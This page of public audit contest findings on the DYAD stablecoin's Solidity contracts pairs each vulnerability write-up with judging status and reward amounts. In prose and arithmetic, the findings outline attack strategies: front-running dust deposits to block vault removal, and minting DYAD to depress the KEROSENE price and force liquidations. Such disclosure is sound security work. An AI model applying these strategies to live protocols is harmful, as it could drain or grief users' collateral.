Total collateral value in USD is sum of all vaults value in USD. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L247
Because minting DYAD stablecoin only use nonKerosene vault. Allow borrow maximum 100% from nonKerosene collateral. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165 As long as Kerosene vault value include make collateral >= 150%. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L167
It also make sense to only give liquidator asset from nonKerosene vault. Because value of some KeroseneVault can be inflated like BoundedKeroseneVault
.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L221-L226
For example, user borrow 1000 DYAD with $1000 WETH as collateral and $600 KEROSENE in KeroseneVault. WETH price drop. $1000 WETH not only worth $800 Total collateral = $800+ $600 = $1400
Which is less than 1500$ debt.
Liquidator can pay 1000 DYAD to take 800$ WETH from nonKerosene vault. Which they will not do because it is not profitable.
Consider give keroseneVault assets as well during liquidation calculation.
Math
#0 - c4-pre-sort
2024-04-28T10:18:08Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:08:02Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:43:16Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:40:19Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: Circolors
Also found by: 0xtankr, AamirMK, Al-Qa-qa, FastChecker, Infect3d, SBSecurity, Strausses, T1MOH, VAD37, carrotsmuggler, gumgumzum
122.4433 USDC - $122.44
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.bounded.sol#L49 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L97-L101
setUnboundedKerosineVault()
should be called on deployment.
BoundedKerosineVault.assetPrice()
call always revert.
Preventing user from using KEROSENE as collateral to mint DYAD.
If user add KerosineVault as collateral, it also affect withdrawal/minting DYAD tokens of other vaults too as collateral calculation will revert.
Admin can fix this later by call setUnboundedKerosineVault()
on BoundedKerosineVault.sol
.
variable unboundedKerosineVault
address is still empty value. It should be set to UnboundedKerosineVault
address during deployment.
VaultManagerV2
loop through all active vault and call assetPrice()
on each vault to calculate total asset price.
If this function does not work, collateral calculation will fail. This affect Withdrawal and Minting functions.
Call setUnboundedKerosineVault()
on BoundedKerosineVault.sol
during deployment.
UnboundedKerosineVault unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, Kerosine(MAINNET_KEROSENE), Dyad (MAINNET_DYAD), kerosineManager ); BoundedKerosineVault boundedKerosineVault = new BoundedKerosineVault( vaultManager, Kerosine(MAINNET_KEROSENE), kerosineManager ); KerosineDenominator kerosineDenominator = new KerosineDenominator( Kerosine(MAINNET_KEROSENE) ); +++ boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault); unboundedKerosineVault.setDenominator(kerosineDenominator); unboundedKerosineVault.transferOwnership(MAINNET_OWNER); boundedKerosineVault. transferOwnership(MAINNET_OWNER);
Error
#0 - c4-pre-sort
2024-04-28T19:06:35Z
JustDravee marked the issue as duplicate of #829
#1 - c4-pre-sort
2024-04-29T09:22:40Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T10:52:11Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-29T12:33:36Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: TheSavageTeddy
Also found by: 0x175, 0x486776, 0xnev, AamirMK, AlexCzm, ArmedGoose, BiasedMerc, CaeraDenoir, Egis_Security, Jorgect, KYP, MrPotatoMagic, PoeAudits, SBSecurity, SovaSlava, VAD37, adam-idarrha, alix40, carrotsmuggler, d_tony7470, dimulski, grearlake, josephdara, ljj, n0kto, okolicodes, sashik_eth, sil3th, turvy_fuzz
7.3512 USDC - $7.35
Judge has assessed an item in Issue #601 as 2 risk. The relevant finding follows:
DOS remove() vault. Anyone can deposit dust token to prevent remove vault from active list VaultManagerV2 allow 5 max normal vaults and 5 max Kerosene vault. To remove vault from active vault list. User must have no deposit inside these vault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L101
This can be prevented by other user. Other user can deposit into any DNFT id. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L125
By frontrun depositing 1 wei token, remove() vault transaction will fail.
#0 - c4-judge
2024-05-05T19:10:36Z
koolexcrypto marked the issue as duplicate of #489
#1 - c4-judge
2024-05-05T20:38:06Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#2 - c4-judge
2024-05-05T21:06:40Z
koolexcrypto marked the issue as nullified
#3 - c4-judge
2024-05-05T21:06:50Z
koolexcrypto marked the issue as not nullified
#4 - c4-judge
2024-05-05T21:07:09Z
koolexcrypto marked the issue as not a duplicate
#5 - c4-judge
2024-05-06T11:30:30Z
koolexcrypto marked the issue as duplicate of #118
#6 - c4-judge
2024-05-11T12:24:31Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
In V2, user total collateral value = NonKerosene collateral + KeroseneVault collateral
Because KEROSENE token price can easily manipulated, so is the KeroseneVault collateral value.
With 150% of collateralRatio minimum before liquidation. If V2 user have 160% collateralRatio, with 120% made of NonKerosene collateral and 40% made of KeroseneVault collateral.
These user become target for forced liquidation by dropping KeroseneVault value from 40% to 30%. With no fee for exploiter.
Exploiter can force KEROSENE price to drop along with KeroseneVault value and collateral ratio fall below 150%. Then liquidate V2 vaults for small profit.
With some restrictions:
Here is simplified price formular from Docs and code:
Kerosene Price = (Total value Locked from V1 vaults and V2 Vault - minted DYAD supply) / KEROSENE in circulation
Price = (TVL - debt)/ KEROSENE in circulation
The only way for exploiter to benefit from decreasing Kerosene Price is liquidation. By increasing DYAD supply, Kerosene Price will drop. KeroseneVault evaluation will drop as well. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L65
To increase DYAD supply, simply exploiter must already have lots of WETH deposit inside Vaults but not minting any DYAD.
Then by minting maximum DYAD available, (TVL - debt)
value will decrease.
There is no fee for minting and redeem DYAD so user can repay this later at no cost.
Now CollatRatio depend on totalUSD value / borrow DYAD
.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L230-L239
Kerosene Vault values depend on vault calculating value. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L271-L288
Because in current codebase, wrong KeroseneVault is added to VaultManagerV2
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L64-L65
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L95-L96
Just assume getKeroseneValue()
call into correct vault which are UnboundedKerosineVault
and BoundedKerosineVault
.
Kerosene price calculation follow formula above.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L58-L67
Kerosene price drop so are KeroseneVault value.
Liquidation now possible for vaults with 160% collateral ratio and suddenly drop to 120%-150% due to drop in KEROSENE value.
KEROSENE TWAP oracle seem like good idea here.
Math
#0 - c4-pre-sort
2024-04-28T05:09:01Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:18:47Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T09:59:11Z
koolexcrypto changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-05-08T11:50:06Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-08T12:54:23Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Bauchibred
Also found by: Al-Qa-qa, K42, SBSecurity, Sathish9098, VAD37, ZanyBonzy, albahaca, clara, niloy, oakcobalt, sxima
50.721 USDC - $50.72
KerosineManager.sol
vaults license is not synchronize with VaultManagerV2
Licenser contractremove()
vault. Anyone can deposit dust token to prevent remove vault from active listKerosineManager.sol
vaults license is not synchronize with VaultManagerV2
Licenser contractKerosineManager.sol
use its own license vaults list to calculate TVL value for Unbounded Kerosine.
These vaults are WETH and wstETH vault.
VaultManagerV2
also use WETH and wstETH vault to calculate TVL for collateral. But it include license check.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L261-L263
So if WETH or wstETH vault removed from license list. Admin must also update KerosineManager
license vault to reflect this too.
Otherwise Kerosene AssetPrice()
not return correct value as it only return value of all vaults including deprecated one.
This is a bit messy. It make more sense to make Enumerable Licenser for both non-Kerosene vault and Kerosene vault.
remove()
vault. Anyone can deposit dust token to prevent remove vault from active listVaultManagerV2
allow 5 max normal vaults and 5 max Kerosene vault.
To remove vault from active vault list. User must have no deposit inside these vault.
https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L101
This can be prevented by other user. Other user can deposit into any DNFT id. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L125
By frontrun depositing 1 wei token, remove()
vault transaction will fail.
Mint DYAD accept zero as value. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L156-L169
DNFT cost minimum 0.1 ETH to mint. So it is not worth anyone time to spread small loan minting to prevent liquidation gas cost. It is still reasonable to have minimum loan amount.
Summarize underlying issue with 2 lines:
This resulted in Unfair liquidation taking away assets not belong to collateral anymore when admin remove vault license.
When a vault is deprecated and removed from license list, it is still possible to deposit into deprecated vault. Withdrawal is not possible without passing collateral check. Because deprecated vault not included as collateral, user holding all tokens inside deprecated vault cannot withdraw until collateral Ratio rise 150% again by deposit different tokens which they might not have.
By converting stable coin DYAD back to WETH and keep deposit to vault and mint more DYAD. Repeat this process sequence and 150% minimum collateral give x3 leverage after loop this 9 times.
Because liquidation and mint have no fee. This give user abilities to use this project as trading long/short call with 3x leverage.
#0 - c4-pre-sort
2024-04-28T10:00:42Z
JustDravee marked the issue as high quality report
#1 - c4-judge
2024-05-05T17:02:15Z
koolexcrypto marked the issue as grade-b